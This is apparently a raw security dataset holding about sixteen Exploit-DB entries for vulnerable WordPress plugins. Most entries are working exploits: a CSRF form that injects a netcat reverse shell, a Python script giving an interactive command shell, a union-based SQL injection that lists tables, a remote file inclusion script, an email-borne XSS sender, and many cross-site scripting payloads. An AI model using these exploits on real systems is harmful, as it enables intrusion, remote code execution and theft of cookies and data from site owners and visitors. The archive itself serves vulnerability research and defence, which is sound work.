deardaniel/secdata-raw huggingface dataset:
Exploit-DB #45274
Description: WordPress Plugin Plainview Activity Monitor 20161228 - (Authenticated) Command Injection
Type: webapps
Platform: php
Date: 2018-08-27
Author: Lydéric Lefebvre

Exploit:
<!--
About:
===========
Component: Plainview Activity Monitor (Wordpress plugin)
Vulnerable version: 20161228 and possibly prior
Fixed version: 20180826
CVE-ID: CVE-2018-15877
CWE-ID: CWE-78
Author:
- LydA(c)ric Lefebvre (https://www.linkedin.com/in/lydericlefebvre)

Timeline:
===========
- 2018/08/25: Vulnerability found
- 2018/08/25: CVE-ID request
- 2018/08/26: Reported to developer
- 2018/08/26: Fixed version
- 2018/08/26: Advisory published on GitHub
- 2018/08/26: Advisory sent to bugtraq mailing list

Description:
===========
Plainview Activity Monitor Wordpress plugin is vulnerable to OS
command injection which allows an attacker to remotely execute
commands on underlying system. Application passes unsafe user supplied
data to ip parameter into activities_overview.php.
Privileges are required in order to exploit this vulnerability, but
this plugin version is also vulnerable to CSRF attack and Reflected
XSS. Combined, these three vulnerabilities can lead to Remote Command
Execution just with an admin click on a malicious link.

References:
===========
https://github.com/aas-n/CVE/blob/master/CVE-2018-15877/

PoC:
-->

<html>
  <!--  Wordpress Plainview Activity Monitor RCE
        [+] Version: 20161228 and possibly prior
        [+] Description: Combine OS Commanding and CSRF to get reverse shell
        [+] Author: LydA(c)ric LEFEBVRE
        [+] CVE-ID: CVE-2018-15877
        [+] Usage: Replace 127.0.0.1 & 9999 with you ip and port to get reverse shell
        [+] Note: Many reflected XSS exists on this plugin and can be combine with this exploit as well
  -->
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://localhost:8000/wp-admin/admin.php?page=plainview_activity_monitor&tab=activity_tools" method="POST" enctype="multipart/form-data">
      <input type="hidden" name="ip" value="google.fr| nc -nlvp 127.0.0.1 9999 -e /bin/bash" />
      <input type="hidden" name="lookup" value="Lookup" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>
Exploit-DB #50110
Description: WordPress Plugin Plainview Activity Monitor 20161228 - Remote Code Execution (RCE) (Authenticated) (2)
Type: webapps
Platform: php
Date: 2021-07-07
Author: Beren Kuday GÖRÜN

Exploit:
# Exploit Title: WordPress Plugin Plainview Activity Monitor 20161228 - Remote Code Execution (RCE) (Authenticated) (2)
# Date: 07.07.2021
# Exploit Author: Beren Kuday GORUN
# Vendor Homepage: https://wordpress.org/plugins/plainview-activity-monitor/
# Software Link: https://www.exploit-db.com/apps/2e1f384e5e49ab1d5fbf9eedf64c9a15-plainview-activity-monitor.20161228.zip
# Version: 20161228 and possibly prior
# Fixed version: 20180826
# CVE : CVE-2018-15877

"""
-------------------------
Usage:
┌──(root@kali)-[~/tools]
└─# python3 WordPress-Activity-Monitor-RCE.py
What's your target IP?
192.168.101.28
What's your username?
mark
What's your password?
password123
[*] Please wait...
[*] Perfect! 
www-data@192.168.101.28  whoami
www-data
www-data@192.168.101.28  pwd
/var/www/html/wp-admin
www-data@192.168.101.28  id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
"""

import requests
from bs4 import BeautifulSoup

def exploit(whoami, ip):
	while 1:
		cmd = input(whoami+"@"+ip+"  ")
		url = 'http://' + ip + '/wp-admin/admin.php?page=plainview_activity_monitor&tab=activity_tools'
		payload = "google.com.tr | " + cmd
		data = {'ip': payload , 'lookup' : 'lookup' }
		x = requests.post(url, data = data, cookies=getCookie(ip))
		html_doc = x.text.split("<p>Output from dig: </p>")[1]
		soup = BeautifulSoup(html_doc, 'html.parser')
		print(soup.p.text)

def poc(ip):
	url = 'http://' + ip + '/wp-admin/admin.php?page=plainview_activity_monitor&tab=activity_tools'
	myobj = {'ip': 'google.fr | whoami', 'lookup' : 'lookup' }
	x = requests.post(url, data = myobj, cookies=getCookie(ip))
	html_doc = x.text.split("<p>Output from dig: </p>")[1]
	soup = BeautifulSoup(html_doc, 'html.parser')
	print("[*] Perfect! ")
	exploit(soup.p.text, ip)

def getCookie(ip):
	url = 'http://' + ip + '/wp-login.php'
	#log=admin&[CREDENTIAL_REDACTED]-submit=Log+In&redirect_to=http%3A%2F%2Fwordy%2Fwp-admin%2F&testcookie=1
	data = {'log':username, 'pwd':password, 'wp-submit':'Log In', 'testcookie':'1'}
	x = requests.post(url, data = data)
	cookies = {}
	cookie = str(x.headers["Set-Cookie"])

	for i in cookie.split():
		if(i.find("wordpress") != -1 and i.find("=") != -1):
			cookies[i.split("=")[0]] = i.split("=")[1][:len(i.split("=")[1])-1]
	return cookies

ip = input("What's your target IP?\n")
username = input("What's your username?\n")
password = input("What's your password?\n")
print("[*] Please wait...")
poc(ip)
Exploit-DB #51981
Description: Wordpress Plugin Playlist for Youtube 1.32 - Stored Cross-Site Scripting (XSS)
Type: webapps
Platform: php
Date: 2024-04-12
Author: Erdemstar

Exploit:
# Exploit Title: Wordpress Plugin Playlist for Youtube - Stored Cross-Site Scripting (XSS)
# Date: 22 March 2024
# Exploit Author: Erdemstar
# Vendor: https://wordpress.com/
# Version: 1.32

# Proof Of Concept:
1. Click Add a new playlist and enter the XSS payload as below into the properties named "Name" or "Playlist ID".

# PoC Video: https://www.youtube.com/watch?v=jrH5OHBoTns
# Vulnerable Properties name: name, playlist_id
# Payload: "><script>alert(document.cookie)</script>
# Request:
POST /wp-admin/admin.php?page=playlists_yt_free HTTP/2
Host: erdemstar.local
Cookie: thc_time=[PII_REDACTED]; booking_package_accountKey=2; wordpress_sec_dd86dc85a236e19160e96f4ec4b56b38=admin%7C[PII_REDACTED]%7CIdP5sIMFkCzSNzY8WFwU5GZFQVLOYP1JZXK77xpoW5R%7C27abdae5aa28462227b32b474b90f0e01fa4751d5c543b281c2348b60f078d2f; wp-settings-time-4=[PII_REDACTED]; cld_2=like; _hjSessionUser_3568329=eyJpZCI6ImY4MWE3NjljLWViN2MtNWM5MS05MzEyLTQ4MGRlZTc4Njc5OSIsImNyZWF0ZWQiOjE3MTEzOTM1MjQ2NDYsImV4aXN0aW5nIjp0cnVlfQ==; wp-settings-time-1=[PII_REDACTED]; wp-settings-1=mfold%3Do%26libraryContent%3Dbrowse%26uploader%3D1%26Categories_tab%3Dpop%26urlbutton%3Dfile%26editor%3Dtinymce%26unfold%3D1; wordpress_test_cookie=WP%20Cookie%20check; wp_lang=en_US; wordpress_logged_in_dd86dc85a236e19160e96f4ec4b56b38=admin%7C[PII_REDACTED]%7CIdP5sIMFkCzSNzY8WFwU5GZFQVLOYP1JZXK77xpoW5R%7Cc64c696fd4114dba180dc6974e102cc02dc9ab8d37482e5c4e86c8e84a1f74f9
Content-Length: 178
Cache-Control: max-age=0
Sec-Ch-Ua: "Not(A:Brand";v="24", "Chromium";v="122"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "macOS"
Upgrade-Insecure-Requests: 1
Origin: https://erdemstar.local
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.6261.112 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://erdemstar.local/wp-admin/admin.php?page=playlists_yt_free
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Priority: u=0, i

_wpnonce=17357e6139&_wp_http_referer=%2Fwp-admin%2Fadmin.php%3Fpage%3Dplaylists_yt_free&name="><script>alert(document.cookie)</script>&playlist_id=123&template=1&text_size=123&text_color=%23000000
Exploit-DB #38048
Description: WordPress Plugin Plg Novana - 'id' SQL Injection
Type: webapps
Platform: php
Date: 2012-11-22
Author: sil3nt

Exploit:
source: https://www.securityfocus.com/bid/56661/info

The Plg Novana plugin is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

An attacker can exploit this issue to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 

http://www.example.com/wp-content/plugins/plg_novana/novana_detail.php?lightbox[width]=700&lightbox[height]=400&id=[sql]
Exploit-DB #38376
Description: WordPress Plugin podPress - 'playerID' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2013-03-11
Author: hiphop

Exploit:
source: https://www.securityfocus.com/bid/58421/info

The podPress plugin for WordPress is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.

podPress 8.8.10.13 is vulnerable; other versions may also be affected. 

http://www.example.com/wp-content/plugins/podpress/players/1pixelout/1pixelout_player.swf?playerID=\"))}catch(e){alert(/xss/)}//
Exploit-DB #38902
Description: WordPress Plugin Polls Widget 1.0.7 - SQL Injection
Type: webapps
Platform: php
Date: 2015-12-08
Author: WICS

Exploit:
Exploit Title : wordpress poll widget version 1.0.7 SQL Injection vulnerability
Author         : WICS
Date             : 7/12/2015
Software Link  : https://wordpress.org/plugins/polls-widget/
Affected Version: 1.0.7 and below


Overview:


Poll widget is wordpress plugin which provide fancy user Polling layout to website users and user can vote according to options provided in specific poll.
This  plugin has 2000+ active installations.
Vulnerability exist in front_end.php file in which code is not filtering user supplied data on parameter question_id 
line no. 36          $question_id=$_POST['question_id'];
....
....
line no. 94-->      $answer=$wpdb->get_results('SELECT `answer_name`,`vote` FROM '.$wpdb->prefix.'polls WHERE question_id='.$question_id,ARRAY_A);
                print_r(json_encode($answer, JSON_FORCE_OBJECT));
                
this script is vulnerable to union based sql injection with column count 2


POC

http://localhost/wp-admin/admin-ajax.php?action=pollinsertvalues

in post data, add this 

question_id=1337 union select  group_concat(0x7e,(select(@)from(select(@:=0x00),(select(@)from(information_schema.tables)where table_schema=database() and (@)in(@:=concat(@,0x3C62723E,table_name))))a)),2-- -&poll_answer_securety=4ac4f387e2&date_answers[0]=5
Exploit-DB #50346
Description: WordPress Plugin Popup 1.10.4 - Reflected Cross-Site Scripting (XSS)
Type: webapps
Platform: php
Date: 2021-09-28
Author: 0xB9

Exploit:
# Exploit Title: WordPress Plugin Popup 1.10.4 - Reflected Cross-Site Scripting (XSS)
# Date: 3/28/2021
# Author: 0xB9
# Software Link: https://wordpress.org/plugins/popup-by-supsystic/
# Version: 1.10.4
# Tested on: Windows 10
# CVE: CVE-2021-24275

1. Description:
The plugin did not sanitize the tab parameter of its options page before outputting it in an attribute, leading to a reflected Cross-Site Scripting issue

2. Proof of Concept:
/wp-admin/admin.php?page=popup-wp-supsystic&tab="+style=animation-name:rotation+onanimationstart=alert(/XSS/)//
Exploit-DB #50479
Description: WordPress Plugin Popup Anything 2.0.3 - 'Multiple' Stored Cross-Site Scripting (XSS)
Type: webapps
Platform: php
Date: 2021-11-03
Author: Luca Schembri

Exploit:
# Exploit Title: WordPress Plugin Popup Anything 2.0.3 - 'Multiple' Stored Cross-Site Scripting (XSS)
# Date: 03/11/2021
# Exploit Author: Luca Schembri
# Vendor Homepage: https://www.essentialplugin.com/
# Software Link: https://wordpress.org/plugins/popup-anything-on-click/
# Version: < 2.0.4

** Summary **

A user with a low privileged user can perform XSS-Stored attacks.


** Plugin description **

Popup Anything is the best popup builder and marketing plugin that
helps you get more email subscribers, increase sales and grow your
business.


Manage powerful modal popup for your WordPress blog or website. You
can add an unlimited popup with your configurations.


** Vulnerable page **

http://{WEBSITE}/wp-admin/post.php?post={ID}&action=edit


** PoC **

Go on the "Popup Anything - Settings" tab and select "Simple Link" as
"Link Type". Select "Link Test" and use this payload:

test" onclick="alert(1)

Save the popup and reload the page. Now click on "Link Text" and it
will execute the javascript code

The same attack can be exploited with "Button Text" and "Popup width" fields.


** Remediation **

Upgrade to 2.0.4 version or later
Exploit-DB #49231
Description: WordPress Plugin Popup Builder 3.69.6 - Multiple Stored Cross Site Scripting
Type: webapps
Platform: php
Date: 2020-12-10
Author: Ilca Lucian Florin

Exploit:
# Exploit Title: WordPress Plugin Popup Builder 3.69.6 - Multiple Stored Cross Site Scripting
# Date: 11/27/2020
# Exploit Author: Ilca Lucian Florin
# Vendor Homepage: https://sygnoos.com
# Software Link: https://wordpress.org/plugins/popup-builder/ / https://popup-builder.com/
# Version: <= 3.69.6
# Tested on: Latest Version of Desktop Web Browsers: Chrome, Firefox, Microsoft Edge

The Popup Builder – Responsive WordPress Pop up – Subscription & Newsletter
Plugin is vulnerable to stored cross site scripting. There are multiple
parameters vulnerable to cross site scripting.

All versions up to 3.69.6 are vulnerable to stored cross site scripting.

More information about this plugin could be found on the following links:

1. https://wordpress.org/plugins/popup-builder/
2. https://popup-builder.com/

Cross site scripting (XSS) is a common attack vector that injects malicious
code into a vulnerable web application. XSS differs from other web attack
vectors (e.g., SQL injections), in that it does not directly target the
application itself. Instead, the users of the web application are the ones
at risk. A successful cross site scripting attack can have devastating
consequences for an online business’s reputation and its relationship with
its clients. Stored XSS, also known as persistent XSS, is the more damaging
of the two. It occurs when a malicious script is injected directly into a
vulnerable web application.

# How to reproduce #

1. Login as Editor or Administrator: https://website.com/wp-login/

2. Go to the following link:
https://website.com/wp-admin/edit.php?post_type=popupbuilder or search for
PopUp Builder and select or create new PopUp.

2. Click edit

3. Search and find: # Custom JS or CSS

4. On JS -> Opening events section, add two payloads, one for #2 section
and one for #3 section, like in the following example:

#2 Add the code you want to run before the popup opens. This will be the
code that will work in the process of opening the popup. true/false
conditions will not work in this phase.

<textarea class="wp-editor-area editor-content" data-attr-event="WillOpen"
placeholder=" #... type your code" mode="text/javascript"
name="sgpb-WillOpen">"><script
src="data:;base64,YWxlcnQoZG9jdW1lbnQuY29va2llKQ=="></script></textarea>

#3 Add the code you want to run after the popup opens. This code will work
when the popup is already open on the page.

<textarea class="wp-editor-area editor-content" data-attr-event="DidOpen"
placeholder=" #... type your code" mode="text/javascript"
name="sgpb-DidOpen">"><script
src="data:;base64,YWxlcnQoZG9jdW1lbnQuY29va2llKQ=="></script></textarea>

5. Click Update

6. Go to https://website.com. The XSS alert will pop up.

# All text-areas from JS section are vulnerable to stored cross site
scripting.

Evidence:

1. https://ibb.co/JvBTq0H
2. https://ibb.co/0KP7NFQ
3. https://ibb.co/3cFnVYF
Exploit-DB #50876
Description: WordPress Plugin Popup Maker 1.16.5 - Stored Cross-Site Scripting (Authenticated)
Type: webapps
Platform: php
Date: 2022-04-19
Author: Roel van Beurden

Exploit:
# Exploit Title: WordPress Plugin Popup Maker <1.16.5 - Persistent Cross-Site Scripting (Authenticated)
# Date: 2022-03-03
# Exploit Author: Roel van Beurden
# Vendor Homepage: https://wppopupmaker.com
# Software Link: https://downloads.wordpress.org/plugin/popup-maker.1.16.4.zip
# Version: <1.16.5
# Tested on: WordPress 5.9 on Ubuntu 20.04


1. Description:
----------------------
WordPress Plugin Popup Maker <1.16.5 does not sanitise and escape some of its popup settings, which could allow high privilege users such as admin to perform Stored Cross-Site Scripting attacks even when the unfiltered_html capability is disallowed.


2. Proof of Concept:
----------------------
Create Popup > Popup Settings > Triggers > Add New Cookie > Add > Cookie Time  (overwrite the default '1 month' with XSS payload)
Click 'Add' what triggers the XSS payload

Payload examples:

<script>alert('XSS');</script>
<img src=x onerror=alert('XSS')>
Exploit-DB #23356
Description: WordPress Plugin Portable phpMyAdmin - Authentication Bypass
Type: webapps
Platform: php
Date: 2012-12-13
Author: Mark Stanislav

Exploit:
'portable-phpMyAdmin (WordPress Plugin)' Authentication Bypass (CVE-2012-5469)
Mark Stanislav - mark.stanislav@gmail.com


I. DESCRIPTION
---------------------------------------
portable-phpMyAdmin doesn't verify an existing WordPress session (privileged or not) when accessing the plugin file path directly. Because of how this plugin works, a default installation will provide a full phpMyAdmin console with the privilege level of the MySQL configuration of WordPress.

 
II. TESTED VERSION
---------------------------------------
1.3.0


III. PoC EXPLOIT
---------------------------------------
Navigate to http://host/wp-content/plugins/portable-phpmyadmin/wp-pma-mod and you will be presented with the full portable-phpMyAdmin web interface without the requirement of a session or any credential.


IV. SOLUTION
---------------------------------------
Upgrade to version 1.3.1


V. REFERENCES
---------------------------------------
http://wordpress.org/extend/plugins/portable-phpmyadmin/
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-5469


VI. TIMELINE
---------------------------------------
10/13/2012 - Initial developer disclosure
10/14/2012 - Response from developer with commitment to fix the vulnerability
10/31/2012 - Follow-up with developer after no communication or patched release
11/16/2012 - Second attempt to follow-up with developer regarding progress/timetable
11/26/2012 - Contacted WordPress 'plugins team' about lack of progress on patched release
11/27/2012 - WordPress 'plugins team' patches software and releases version 1.3.1
12/12/2012 - Public disclosure
Exploit-DB #50705
Description: WordPress Plugin Post Grid 2.1.1 - Cross Site Scripting (XSS)
Type: webapps
Platform: php
Date: 2022-02-02
Author: 0xB9

Exploit:
# Exploit Title: WordPress Plugin Post Grid 2.1.1 - Cross Site Scripting (XSS)
# Date: 3/16/2021
# Author: 0xB9
# Software Link: https://wordpress.org/plugins/post-grid/
# Version: 2.1.1
# Tested on: Windows 10
# CVE: CVE-2021-24488

1. Description:
This plugin creates a post grid from any post types. The slider import search feature and tab parameter via plugin settings are vulnerable to reflected cross-site scripting.

2. Proof of Concept:
wp-admin/edit.php?post_type=post_grid&page=post-grid-settings&tab="><script>alert(1)</script>
wp-admin/edit.php?post_type=post_grid&page=import_layouts&keyword="onmouseover=alert(1)//
Exploit-DB #17790
Description: WordPress Plugin post highlights 2.2 - SQL Injection
Type: webapps
Platform: php
Date: 2011-09-06
Author: Miroslav Stampar

Exploit:
# Exploit Title: WordPress post highlights plugin <= 2.2 SQL Injection Vulnerability
# Date: 2011-09-06
# Author: Miroslav Stampar (miroslav.stampar(at)gmail.com @stamparm)
# Software Link: http://downloads.wordpress.org/plugin/post-highlights.2.2.zip
# Version: 2.2 (tested)
# Note: magic_quotes has to be turned off

---
PoC
---
http://www.site.com/wp-content/plugins/post-highlights/ajax/ph_settings.php?id=-1' OR 1=1--%20

---------------
Vulnerable code
---------------
$id = $_GET["id"];
...
$query = "SELECT guid, ID FROM $wpdb->posts WHERE post_type='attachment' AND post_parent='$id'";
Exploit-DB #37506
Description: WordPress Plugin Post Recommendations - 'abspath' Remote File Inclusion
Type: webapps
Platform: php
Date: 2012-07-16
Author: Sammy FORGIT

Exploit:
source: https://www.securityfocus.com/bid/54459/info

The Post Recommendations plug-in for WordPress is prone to a remote file-include vulnerability because it fails to sufficiently sanitize user-supplied input.

Exploiting this issue could allow an attacker to compromise the application and the underlying system; other attacks are also possible.

Post Recommendations 1.1.2 is vulnerable; other versions may also be affected. 

PostShell.php
<?php

$ch = curl_init("http://localhost/wordpress/wp-content/plugins/post-recommendations-for-wordpress/lib/api.php");
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, array('abspath'=>"http://localhost/lo.txt\0"));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$postResult = curl_exec($ch);
curl_close($ch);

print "$postResult";

?>


lo.txt
<?php phpinfo(); ?>
Exploit-DB #20360
Description: WordPress Plugin postie 1.4.3 - Persistent Cross-Site Scripting
Type: webapps
Platform: php
Date: 2012-08-08
Author: loneferret

Exploit:
#!/usr/bin/python

'''

Author: loneferret of Offensive Security
Product: Postie
Version: 1.4.3
Software Download: http://wordpress.org/extend/plugins/postie/

Timeline:
29 May 2012: Vulnerability reported to CERT
30 May 2012: Response received from CERT with disclosure date set to 20 Jul 2012
23 Jul 2012: Update received from CERT. Vendor was advised to contact researcher. No other contact received.
08 Aug 2012: Public Disclosure

Installed On: Ubuntu Server LAMP 8.04
Wordpress: 3.3.1
Client Test OS: MAC OS Lion
Browser Used: Firefox 12

Injection Point: From
Injection Payload(s):
1: <BODY ONLOAD=alert('XSS')> 
2: <META HTTP-EQUIV="refresh" CONTENT="0;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K">

'''


import smtplib, urllib2
  
payload = """<BODY ONLOAD=alert('XSS')>"""
  
def sendMail(dstemail, frmemail, smtpsrv, username, password):
        msg  = "From: hacker@offsec.local" + payload + "\n"
        msg += "To: victim@victim.local\n"
        msg += 'Date: Today\r\n'
        msg += "Subject: Offensive Security\n"
        msg += "Content-type: text/html\n\n"
        msg += "XSS\r\n\r\n"
        server = smtplib.SMTP(smtpsrv)
        server.login(username,password)
        try:
                server.sendmail(frmemail, dstemail, msg)
        except Exception, e:
                print "[-] Failed to send email:"
                print "[*] " + str(e)
        server.quit()
  
username = "hacker@offsec.local"
[CREDENTIAL_REDACTED]"
dstemail = "victim@victim.local"
frmemail = "hacker@offsec.local"
smtpsrv  = "172.16.84.171"
  
print "[*] Sending Email"
sendMail(dstemail, frmemail, smtpsrv, username, password)
Exploit-DB #35287
Description: WordPress Plugin Powerhouse Museum Collection Image Grid 0.9.1.1 - 'tbpv_username' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2011-01-24
Author: AutoSec Tools

Exploit:
source: https://www.securityfocus.com/bid/46006/info

The Powerhouse Museum Collection Image Grid Plugin for WordPress is prone to a cross-site-scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.

Powerhouse Museum Collection Image Grid Plugin 0.9.1.1 is vulnerable; other versions may also be affected. 

http://www.example.com/wordpress/wp-content/plugins/powerhouse-museum-collection-image-grid/shortcode-editor.php?tbpv_id=x&tbpv_username=</script><script>alert(0)</script>&tbpv_domain=&tbpv_login=